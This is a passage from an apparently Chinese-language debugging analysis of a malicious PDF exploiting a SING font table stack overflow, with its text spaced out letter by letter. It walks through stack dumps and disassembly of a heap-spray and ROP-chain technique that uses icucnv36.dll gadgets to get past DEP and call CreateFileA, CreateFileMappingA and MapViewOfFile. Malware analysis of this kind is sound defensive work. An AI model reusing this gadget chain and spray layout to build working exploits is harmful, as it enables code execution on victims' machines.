此 时 栈 溢 出 已 经 发 生 ， 栈 区 数 据 已 经 被 修 改 成 了 S I N G 表 中 构 造 的 恶 意 数 据   ( 实 际 上 是 从 u n i q u e N a m e 字 段 开 始 的 数 据 ) 。 0 0 1 2 E 5 D C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 E 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 E 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 E 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 E C       4 1 4 1 4 1 4 1 0 0 1 2 E 5 F 0       4 1 4 1 4 1 4 1 0 0 1 2 E 5 F 4       4 1 4 1 4 1 4 1 0 0 1 2 E 5 F 8       4 1 4 1 4 1 4 1 0 0 1 2 E 5 F C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 0 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 0 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 0 8       4 A 8 A 0 8 C 6     i c u c n v 3 6 . 4 A 8 A 0 8 C 6 0 0 1 2 E 6 0 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 1 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 1 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 1 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 1 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 2 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 2 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 2 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 2 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 3 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 3 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 3 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 3 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 4 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 4 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 4 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 4 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 5 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 5 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 5 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 5 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 6 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 6 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 6 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 6 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 7 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 7 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 7 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 7 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 8 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 8 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 8 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 8 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 9 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 9 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 9 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 9 C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 A 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 A 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 A 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 A C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 B 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 B 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 B 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 B C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 C 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 C 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 C 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 C C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 D 0       4 A 8 0 C B 3 8     返 回 到   i c u c n v 3 6 . 4 A 8 0 C B 3 8   来 自   i c u c n v 3 6 . 4 A 8 4 6 C 4 9 0 0 1 2 E 6 D 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 D 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 D C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 E 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 E 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 E 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 E C       4 1 4 1 4 1 4 1 0 0 1 2 E 6 F 0       4 1 4 1 4 1 4 1 0 0 1 2 E 6 F 4       4 1 4 1 4 1 4 1 0 0 1 2 E 6 F 8       4 1 4 1 4 1 4 1 0 0 1 2 E 6 F C       4 1 4 1 4 1 4 1 0 0 1 2 E 7 0 0       4 1 4 1 4 1 4 1 0 0 1 2 E 7 0 4       4 1 4 1 4 1 4 1 0 0 1 2 E 7 0 8       4 1 4 1 4 1 4 1 0 0 1 2 E 7 0 C       4 1 4 1 4 1 4 1     指 向 下 一 个   S E H   记 录 的 指 针 0 0 1 2 E 7 1 0       4 1 4 1 4 1 4 1     S E   处 理 程 序 0 0 1 2 E 7 1 4       0 0 0 0 0 0 6 C
继 续 往 下 分 析 ， 我 们 希 望 了 解 程 序 到 底 是 怎 么 样 去 读 取 栈 区 数 据 的 。 执 行 到 0 x 0 8 0 8 B 3 0 8 时 ， 我 们 发 现 了 一 个 很 有 意 思 的 地 方 。 即 调 用 了   [ e a x ]   地 址 指 向 的 函 数 。 此 时 的 e a x   =   0 0 1 2 E 6 D 0 ， 这 正 好 处 于 我 们 刚 才 覆 盖 的 栈 区 数 据 范 围 内 。 且   [ e a x ] =   0 x 4 A 8 0 C B 3 8 。 首 先 调 整 了 e b p 。 原 本 的 e b p   =   0 x 0 0 1 2 D D 4 8     e b p + 0 x 7 9 4   =   0 x 0 0 1 2 E 4 D C 重 新 将 e b p 调 整 进 了 覆 盖 的 栈 区 数 据 范 围 内 。 接 下 来 执 行 的 l e a v e ， 修 改 了 e s p ， 原 本 的 e s p   =   0 x 0 0 1 2 D D 2 4       e s p   =   e b p   =   0 x 0 0 1 2 E 4 D C     [ e s p ]   =   0 x 4 1 4 1 4 1 4 1 并 且 弹 栈 之 后 ： 最 后 r e t n 时 ， e s p   =   0 x 0 0 1 2 E 4 E 0     [ e s p ]   =   0 x 4 A 8 2 A 7 1 4 ， 因 此 接 下 来   E I P   =   0 x 4 A 8 2 A 7 1 4 ： 这 里 原 本 的 e s p =   0 x 0 0 1 2 E 4 E 4   [ e s p ]   =   0 x 0 C 0 C 0 C 0 C p o p   e s p 之 后 e s p   =   0 x 0 C 0 C 0 C 0 C 0 8 0 8 B 3 0 8         F F 1 0                         c a l l   d w o r d   p t r   d s : [ e a x ] 4 A 8 0 C B 3 8         8 1 C 5   9 4 0 7 0 0 0 0       a d d   e b p , 0 x 7 9 4 4 A 8 0 C B 3 E         C 9                             l e a v e     ( m o v   e s p , e b p     p o p   e b p ) 4 A 8 0 C B 3 F         C 3                             r e t n e b p   =   0 x 4 1 4 1 4 1 4 1 4 A 8 2 A 7 1 4         5 C                             p o p   e s p                                     ;   0 C 0 C 0 C 0 C 4 A 8 2 A 7 1 5         C 3                             r e t n 0 C 0 C 0 C 0 8       4 1 4 1 4 1 4 1 0 C 0 C 0 C 0 C       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C 1 0       4 A 8 A 0 0 0 0     A S C I I   " U T F - 3 2 " 0 C 0 C 0 C 1 4       4 A 8 0 2 1 9 6     i c u c n v 3 6 . 4 A 8 0 2 1 9 6 0 C 0 C 0 C 1 8       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 C 1 C       4 A 8 4 9 0 3 C     < & K E R N E L 3 2 . C r e a t e F i l e A > 0 C 0 C 0 C 2 0       4 A 8 0 B 6 9 2     i c u c n v 3 6 . 4 A 8 0 B 6 9 2 0 C 0 C 0 C 2 4       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C 2 8       4 A 8 5 2 2 C 8     A S C I I   " i s o 8 8 5 9 1 " 0 C 0 C 0 C 2 C       1 0 0 0 0 0 0 0     s q l i t e . 1 0 0 0 0 0 0 0 0 C 0 C 0 C 3 0       0 0 0 0 0 0 0 0 0 C 0 C 0 C 3 4       0 0 0 0 0 0 0 0 0 C 0 C 0 C 3 8       0 0 0 0 0 0 0 2 0 C 0 C 0 C 3 C       0 0 0 0 0 1 0 2 0 C 0 C 0 C 4 0       0 0 0 0 0 0 0 0 0 C 0 C 0 C 4 4       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C 4 8       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C 4 C       4 A 8 4 2 D B 2     i c u c n v 3 6 . 4 A 8 4 2 D B 2 0 C 0 C 0 C 5 0       4 A 8 0 2 A B 1     i c u c n v 3 6 . 4 A 8 0 2 A B 1 0 C 0 C 0 C 5 4       0 0 0 0 0 0 0 8 0 C 0 C 0 C 5 8       4 A 8 0 A 8 A 6     i c u c n v 3 6 . 4 A 8 0 A 8 A 6 0 C 0 C 0 C 5 C       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 C 6 0       4 A 8 4 9 0 3 8     < & K E R N E L 3 2 . C r e a t e F i l e M a p p i n g A > 0 C 0 C 0 C 6 4       4 A 8 0 B 6 9 2     i c u c n v 3 6 . 4 A 8 0 B 6 9 2 0 C 0 C 0 C 6 8       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C 6 C       F F F F F F F F 0 C 0 C 0 C 7 0       0 0 0 0 0 0 0 0 0 C 0 C 0 C 7 4       0 0 0 0 0 0 4 0 0 C 0 C 0 C 7 8       0 0 0 0 0 0 0 0 0 C 0 C 0 C 7 C       0 0 0 1 0 0 0 0     U N I C O D E   " = : : = : : " 0 C 0 C 0 C 8 0       0 0 0 0 0 0 0 0 0 C 0 C 0 C 8 4       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C 8 8       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C 8 C       4 A 8 4 2 D B 2     i c u c n v 3 6 . 4 A 8 4 2 D B 2 0 C 0 C 0 C 9 0       4 A 8 0 2 A B 1     i c u c n v 3 6 . 4 A 8 0 2 A B 1 0 C 0 C 0 C 9 4       0 0 0 0 0 0 0 8 0 C 0 C 0 C 9 8       4 A 8 0 A 8 A 6     i c u c n v 3 6 . 4 A 8 0 A 8 A 6 0 C 0 C 0 C 9 C       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 C A 0       4 A 8 4 9 0 3 0     < & K E R N E L 3 2 . M a p V i e w O f F i l e > 0 C 0 C 0 C A 4       4 A 8 0 B 6 9 2     i c u c n v 3 6 . 4 A 8 0 B 6 9 2 0 C 0 C 0 C A 8       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C A C       F F F F F F F F 0 C 0 C 0 C B 0       0 0 0 0 0 0 2 2 0 C 0 C 0 C B 4       0 0 0 0 0 0 0 0 0 C 0 C 0 C B 8       0 0 0 0 0 0 0 0 0 C 0 C 0 C B C       0 0 0 1 0 0 0 0     U N I C O D E   " = : : = : : " 0 C 0 C 0 C C 0       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C C 4       4 A 8 A 0 0 0 4     A S C I I   " 3 2 " 0 C 0 C 0 C C 8       4 A 8 0 2 1 9 6     i c u c n v 3 6 . 4 A 8 0 2 1 9 6 0 C 0 C 0 C C C       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C D 0       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C D 4       4 A 8 4 2 D B 2     i c u c n v 3 6 . 4 A 8 4 2 D B 2 0 C 0 C 0 C D 8       4 A 8 0 2 A B 1     i c u c n v 3 6 . 4 A 8 0 2 A B 1 0 C 0 C 0 C D C       0 0 0 0 0 0 3 0 0 C 0 C 0 C E 0       4 A 8 0 A 8 A 6     i c u c n v 3 6 . 4 A 8 0 A 8 A 6 0 C 0 C 0 C E 4       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 C E 8       4 A 8 A 0 0 0 4     A S C I I   " 3 2 " 0 C 0 C 0 C E C       4 A 8 0 A 7 D 8     返 回 到   i c u c n v 3 6 . 4 A 8 0 A 7 D 8   来 自   M S V C R 8 0 . _ _ t i m e z o n e
这 里 又 到 了 一 个 关 键 的 地 方 。 看 到 0 x 0 C 0 C 0 C 0 C 我 们 很 自 然 的 会 想 到 H e a p S p a r y 技 术 。 在 这 个 样 本 中 确 实 利 用 到 了 堆 喷 射 的 技 术 ， 借 助   P D F   本 身 支 持 执 行 J S 的 特 性 ， 将 s h e l l c o d e 借 助 J S 写 入 内 存 中 。 实 际 上 这 里 也 可 以 不 借 助 堆 喷 射 来 实 现 任 意 代 码 执 行 ， 但 是 这 样 的 话 就 会 增 大 R O P   链 的 构 造 难 度 ， 因 此 选 择 利 用 堆 喷 射 的 方 法 来 写 入 s h e l l c o d e 是 一 种 非 常 巧 妙 的 做 法 。 仔 细 观 察 可 以 发 现 接 下 来 的 R O P 链 调 用 的 都 是 i c u c n v 3 6 . d l l 这 个 库 中 的 地 址 ， 原 因 在 于 这 个 库 是 没 有 开 启 A S L R 保 护 的 。 还 有 需 要 说 明 的 一 点 是 ， 之 所 以 要 借 助 堆 喷 射 技 术 来 执 行 代 码 的 原 因 是 为 了 绕 过 w i n d o w s 环 境 下 的 D E P 保 护 。 继 续 动 态 分 析 。 此 时 即 将 执 行 r e t n ， 而 e s p 指 向 的 地 址 是 0 x 0 c 0 c 0 c 0 c ， 即 ： 因 此 接 下 来 执 行 的 是 ： e c x   = 0 x 4 A 8 A 0 0 0 0     [ e c x ]   = 「 U T F - 3 2 」 这 里 借 原 本 存 「 U T F - 3 2 」 字 符 串 的 地 方 保 存 e a x ( 0 x 0 0 1 2 E 6 D 0 ) 的 值 ： 这 里   e a x   指 向 了   C r e a t e F i l e A   函 数 用 于 创 建 文 件 。 即   e a x   =   0 x 4 A 8 4 9 0 3 C 这 里 直 接 跳 转 到 e a x 保 存 的 指 针 所 指 向 的 地 址 ( 0 x 7 C 8 0 1 A 2 8 ) 处 ： 这 里 应 该 是 C r e a t e F i l e A 的 实 现 逻 辑 ， 我 们 直 接 查 看 栈 区 数 据 ： 0 C 0 C 0 C E C       4 A 8 0 A 7 D 8     返 回 到   i c u c n v 3 6 . 4 A 8 0 A 7 D 8   来 自   M S V C R 8 0 . _ _ t i m e z o n e 0 C 0 C 0 C F 0       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 C F 4       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 C F 8       4 A 8 4 2 D B 2     i c u c n v 3 6 . 4 A 8 4 2 D B 2 0 C 0 C 0 C F C       4 A 8 0 2 A B 1     i c u c n v 3 6 . 4 A 8 0 2 A B 1 0 C 0 C 0 D 0 0       0 0 0 0 0 0 2 0 0 C 0 C 0 D 0 4       4 A 8 0 A 8 A 6     i c u c n v 3 6 . 4 A 8 0 A 8 A 6 0 C 0 C 0 D 0 8       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 D 0 C       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 D 1 0       4 A 8 0 A E D C     i c u c n v 3 6 . 4 A 8 0 A E D C 0 C 0 C 0 D 1 4       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 D 1 8       0 0 0 0 0 0 3 4 0 C 0 C 0 D 1 C       4 A 8 0 D 5 8 5     i c u c n v 3 6 . 4 A 8 0 D 5 8 5 0 C 0 C 0 D 2 0       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 0 C 0 C 0 D 2 4       4 A 8 0 1 0 6 4     i c u c n v 3 6 . 4 A 8 0 1 0 6 4 0 C 0 C 0 D 2 8       4 A 8 4 2 D B 2     i c u c n v 3 6 . 4 A 8 4 2 D B 2 0 C 0 C 0 D 2 C       4 A 8 0 2 A B 1     i c u c n v 3 6 . 4 A 8 0 2 A B 1 0 C 0 C 0 D 3 0       0 0 0 0 0 0 0 A 0 C 0 C 0 D 3 4       4 A 8 0 A 8 A 6     i c u c n v 3 6 . 4 A 8 0 A 8 A 6 0 C 0 C 0 D 3 8       4 A 8 0 1 F 9 0     i c u c n v 3 6 . 4 A 8 0 1 F 9 0 0 C 0 C 0 D 3 C       4 A 8 4 9 1 7 0     < & M S V C R 8 0 . m e m c p y > 0 C 0 C 0 D 4 0       4 A 8 0 B 6 9 2     i c u c n v 3 6 . 4 A 8 0 B 6 9 2 0 C 0 C 0 D 4 4       F F F F F F F F 0 C 0 C 0 D 4 8       F F F F F F F F 0 C 0 C 0 D 4 C       F F F F F F F F 0 C 0 C 0 D 5 0       0 0 0 0 1 0 0 0 0 C 0 C 0 C 0 C       4 A 8 0 6 3 A 5     i c u c n v 3 6 . 4 A 8 0 6 3 A 5 4 A 8 0 6 3 A 5         5 9                         p o p   e c x                 ; i c u c n v 3 6 . 4 A 8 A 0 0 0 0 4 A 8 0 6 3 A 6         C 3                         r e t n 4 A 8 0 2 1 9 6         8 9 0 1                         m o v   d w o r d   p t r   d s : [ e c x ] , e a x 4 A 8 0 2 1 9 8         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                           p o p   e a x                 ; < & K E R N E L 3 2 . C r e a t e F i l e A > 4 A 8 0 1 F 9 1         C 3                           r e t n 4 A 8 0 B 6 9 2     -   F F 2 0                         j m p   d w o r d   p t r   d s : [ e a x ]           ;   k e r n e l 3 2 . C r e a t e F i l e A 7 C 8 0 1 A 2 8   >     8 B F F                         m o v   e d i , e d i 7 C 8 0 1 A 2 A         5 5                             p u s h   e b p 7 C 8 0 1 A 2 B         8 B E C                         m o v   e b p , e s p 7 C 8 0 1 A 2 D         F F 7 5   0 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 8 ] 7 C 8 0 1 A 3 0         E 8   C F C 6 0 0 0 0           c a l l   k e r n e l 3 2 . 7 C 8 0 E 1 0 4 7 C 8 0 1 A 3 5         8 5 C 0                         t e s t   e a x , e a x 7 C 8 0 1 A 3 7         7 4   1 E                       j e   X k e r n e l 3 2 . 7 C 8 0 1 A 5 7 7 C 8 0 1 A 3 9         F F 7 5   2 0                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 2 0 ] 7 C 8 0 1 A 3 C         F F 7 5   1 C                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 C ] 7 C 8 0 1 A 3 F         F F 7 5   1 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 8 ] 7 C 8 0 1 A 4 2         F F 7 5   1 4                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 4 ] 7 C 8 0 1 A 4 5         F F 7 5   1 0                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 0 ] 7 C 8 0 1 A 4 8         F F 7 5   0 C                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x C ] 7 C 8 0 1 A 4 B         F F 7 0   0 4                   p u s h   d w o r d   p t r   d s : [ e a x + 0 x 4 ] 7 C 8 0 1 A 4 E         E 8   9 D E D 0 0 0 0           c a l l   k e r n e l 3 2 . C r e a t e F i l e W 7 C 8 0 1 A 5 3         5 D                             p o p   e b p 7 C 8 0 1 A 5 4         C 2   1 C 0 0                   r e t n   0 x 1 C 0 C 0 C 0 C 2 4       4 A 8 0 1 0 6 4     / C A L L   到   C r e a t e F i l e A 0 C 0 C 0 C 2 8       4 A 8 5 2 2 C 8     | F i l e N a m e   =   " i s o 8 8 5 9 1 " 0 C 0 C 0 C 2 C       1 0 0 0 0 0 0 0     | A c c e s s   =   G E N E R I C _ A L L 0 C 0 C 0 C 3 0       0 0 0 0 0 0 0 0     | S h a r e M o d e   =   0 0 C 0 C 0 C 3 4       0 0 0 0 0 0 0 0     | p S e c u r i t y   =   N U L L 0 C 0 C 0 C 3 8       0 0 0 0 0 0 0 2     | M o d e   =   C R E A T E _ A L W A Y S 0 C 0 C 0 C 3 C       0 0 0 0 0 1 0 2     | A t t r i b u t e s   =   H I D D E N | T E M P O R A R Y 0 C 0 C 0 C 4 0       0 0 0 0 0 0 0 0     h T e m p l a t e F i l e   =   N U L L
这 里 都 是 C r e a t e F i l e A 的 参 数 ， 来 看 看 C r e a t e F i l e A 官 方 文 档 给 出 的 结 构 l p F i l e N a m e 用 于 指 定 被 创 建 文 件 的 文 件 名 。 d w D e s i r e d A c c e s s 用 于 指 定 访 问 权 限 一 般 都 是 读 、 写 之 类 的 。 这 里 的 G E N E R I C _ A L L 指 的 是 采 用 所 有 可 能 的 访 问 权 限 。 d w S h a r e M o d e 用 于 指 定 请 求 的 文 件 或 设 备 的 共 享 模 式 ， 这 里 指 定 的 0 代 表 了 阻 止 其 他 进 程 在 请 求 删 除 ， 读 取 或 写 入 访 问 权 限 时 打 开 文 件 或 设 备 。 l p S e c u r i t y A t t r i b u t e s 用 于 设 置 安 全 描 述 符 和 子 进 程 是 否 可 继 承 ， 这 个 属 性 可 为 N U L L ， 这 里 用 的 就 是 N U L L 。 d w C r e a t i o n D i s p o s i t i o n 设 置 对 文 件 执 行 的 操 作 。 这 里 的 C R E A T E _ A L W A Y S 代 表 总 是 会 创 建 文 件 ， 即 使 目 标 文 件 已 存 在 也 会 覆 盖 它 。 d w   F l a g s A n d A t t r i b u t e s 设 置 文 件 或 设 备 属 性 和 标 志 ， 这 里 给 的 值 是 F I L E _ A T T R I B U T E _ H I D D E N   |   F I L E _ A T T R I B U T E _ T E M P O R A R Y 代 表 该 文 件 用 于 临 时 存 储 。 h T e m p l a t e F i l e 设 置 具 有 G E N E R I C _ R E A D 访 问 权 限 的 模 板 文 件 的 有 效 句 柄 。 这 个 属 性 这 里 也 没 用 到 直 接 指 定 N U L L 。 总 之 这 里 创 建 了 一 个 临 时 文 件 ， 文 件 名 是 i s o 8 8 5 9 1 。 可 以 在 当 前 样 本 p d f 同 目 录 下 找 到 。 这 里 跳 转 到 0 x 4 A 8 0 6 3 A 5 ( i c u c n v 3 6 . 4 A 8 0 6 3 A 5 ) ： e c x   =   0 x 4 A 8 0 1 0 6 4 这 里 e a x   = 0 x 0 0 0 0 0 3 1 C   e d i   =   0 x 0 0 1 2 E 7 1 8 x c h g 指 令 交 换 了 两 个 寄 存 器 的 值 e a x   =   0 x 0 0 1 2 E 7 1 8   e d i   =   0 x 0 0 0 0 0 3 1 C 继 续 单 步 ， 到 这 里 e b x   =   0 x 0 0 0 0 0 0 0 8 这 里 指 向 了 一 个 函 数 的 实 现 代 码 块 。 似 乎 做 了 斜 杠 和 字 母 小 写 的 检 查 。 这 里 让 e a x 指 向 了 一 个 C r e a t e F i l e M a p p i n g A 函 数 ： 这 里 利 用 同 样 的 方 法 调 转 到 [ e a x ] 所 在 的 函 数 C r e a t e F i l e M a p p i n g A 处 ， 该 函 数 用 于 创 建 一 个 文 件 映 射 内 核 对 象 。 H A N D L E   C r e a t e F i l e A (     L P C S T R                                 l p F i l e N a m e ,     D W O R D                                   d w D e s i r e d A c c e s s ,     D W O R D                                   d w S h a r e M o d e ,     L P S E C U R I T Y _ A T T R I B U T E S   l p S e c u r i t y A t t r i b u t e s ,     D W O R D                                   d w C r e a t i o n D i s p o s i t i o n ,     D W O R D                                   d w F l a g s A n d A t t r i b u t e s ,     H A N D L E                                 h T e m p l a t e F i l e ) ; 4 A 8 0 1 0 6 4         C 3                             r e t n 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                 ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 4 2 D B 2         9 7                             x c h g   e a x , e d i 4 A 8 4 2 D B 3         C 3                             r e t n 4 A 8 0 2 A B 1         5 B                             p o p   e b x 4 A 8 0 2 A B 2         C 3                             r e t n 4 A 8 0 A 8 A 6         2 1 3 C 5 C                   a n d   d w o r d   p t r   s s : [ e s p + e b x * 2 ] , e d i 4 A 8 0 A 8 A 9         7 5   0 3                       j n z   X i c u c n v 3 6 . 4 A 8 0 A 8 A E 4 A 8 0 A 8 A B         B 0   0 1                       m o v   a l , 0 x 1 4 A 8 0 A 8 A D         C 3                             r e t n 4 A 8 0 A 8 A E         3 C   2 F                       c m p   a l , 0 x 2 F 4 A 8 0 A 8 B 0     ^   7 4   F 9                       j e   X i c u c n v 3 6 . 4 A 8 0 A 8 A B 4 A 8 0 A 8 B 2         3 C   4 1                       c m p   a l , 0 x 4 1 4 A 8 0 A 8 B 4         7 C   0 4                       j l   X i c u c n v 3 6 . 4 A 8 0 A 8 B A 4 A 8 0 A 8 B 6         3 C   5 A                       c m p   a l , 0 x 5 A 4 A 8 0 A 8 B 8         7 E   0 8                       j l e   X i c u c n v 3 6 . 4 A 8 0 A 8 C 2 4 A 8 0 A 8 B A         3 C   6 1                       c m p   a l , 0 x 6 1 4 A 8 0 A 8 B C         7 C   0 A                       j l   X i c u c n v 3 6 . 4 A 8 0 A 8 C 8 4 A 8 0 A 8 B E         3 C   7 A                       c m p   a l , 0 x 7 A 4 A 8 0 A 8 C 0         7 F   0 6                       j g   X i c u c n v 3 6 . 4 A 8 0 A 8 C 8 4 A 8 0 A 8 C 2         8 0 7 9   0 1   3 A             c m p   b y t e   p t r   d s : [ e c x + 0 x 1 ] , 0 x 3 A 4 A 8 0 A 8 C 6     ^   7 4   E 3                       j e   X i c u c n v 3 6 . 4 A 8 0 A 8 A B 4 A 8 0 A 8 C 8         3 2 C 0                         x o r   a l , a l 4 A 8 0 A 8 C A         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                             p o p   e a x         ; < & K E R N E L 3 2 . C r e a t e F i l e M a p p i n g A > 4 A 8 0 1 F 9 1         C 3                             r e t n 4 A 8 0 B 6 9 2     -   F F 2 0               j m p   d w o r d   p t r   d s : [ e a x ]             ;   k e r n e l 3 2 . C r e a t e F i l e M a p p i n g A 7 C 8 0 9 4 E E   >     8 B F F                         m o v   e d i , e d i 7 C 8 0 9 4 F 0         5 5                             p u s h   e b p 7 C 8 0 9 4 F 1         8 B E C                         m o v   e b p , e s p 7 C 8 0 9 4 F 3         5 1                             p u s h   e c x 7 C 8 0 9 4 F 4         5 1                             p u s h   e c x 7 C 8 0 9 4 F 5         5 6                             p u s h   e s i 7 C 8 0 9 4 F 6         3 3 F 6                         x o r   e s i , e s i 7 C 8 0 9 4 F 8         3 9 7 5   1 C                   c m p   d w o r d   p t r   s s : [ e b p + 0 x 1 C ] , e s i 7 C 8 0 9 4 F B         7 4   3 1                       j e   X k e r n e l 3 2 . 7 C 8 0 9 5 2 E 7 C 8 0 9 4 F D         6 4 : A 1   1 8 0 0 0 0 0 0     m o v   e a x , d w o r d   p t r   f s : [ 0 x 1 8 ] 7 C 8 0 9 5 0 3         F F 7 5   1 C                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 C ]
函 数 参 数 在 栈 中 的 分 布 ： 继 续 调 试 跳 转 到 ： 这 里 的 e a x   = 0 x 0 0 0 0 0 3 2 0   e d i   =   0 x 0 0 0 0 0 3 1 C   x c h g 交 换 两 个 寄 存 器 的 值 ： 这 里 再 一 次 跳 转 到 了 0 x 4 A 8 0 A 8 A 6 ： 这 里 e a x 指 向 的 是 M a p V i e w O f F i l e 函 数 入 口 地 址 ： 同 样 的 原 理 借 助 j m p   d w o r d   p t r   d s : [ e a x ] 跳 转 到 e a x 指 向 的 地 址 。 将 一 个 文 件 映 射 对 象 映 射 到 当 前 应 用 程 序 的 地 址 空 间 。 跳 转 到 0 x 4 A 8 0 6 3 A 5 ： e c x   =   0 x 4 A 8 A 0 0 0 4 将 e a x 的 值 暂 存 在   [ e c x ]   中 ， e a x   =   0 x 0 3 7 F 0 0 0 0 ： 7 C 8 0 9 5 0 6         8 D B 0   F 8 0 B 0 0 0 0       l e a   e s i , d w o r d   p t r   d s : [ e a x + 0 x B F 8 ] 7 C 8 0 9 5 0 C         8 D 4 5   F 8                   l e a   e a x , d w o r d   p t r   s s : [ e b p - 0 x 8 ] 7 C 8 0 9 5 0 F         5 0                             p u s h   e a x 7 C 8 0 9 5 1 0         F F 1 5   8 C 1 0 8 0 7 C       c a l l   d w o r d   p t r   d s : [ < & n t d l l . R t l I n i t A n s i S t > ;   n t d l l . R t l I n i t A n s i S t r i n g 7 C 8 0 9 5 1 6         6 A   0 0                       p u s h   0 x 0 7 C 8 0 9 5 1 8         8 D 4 5   F 8                   l e a   e a x , d w o r d   p t r   s s : [ e b p - 0 x 8 ] 7 C 8 0 9 5 1 B         5 0                             p u s h  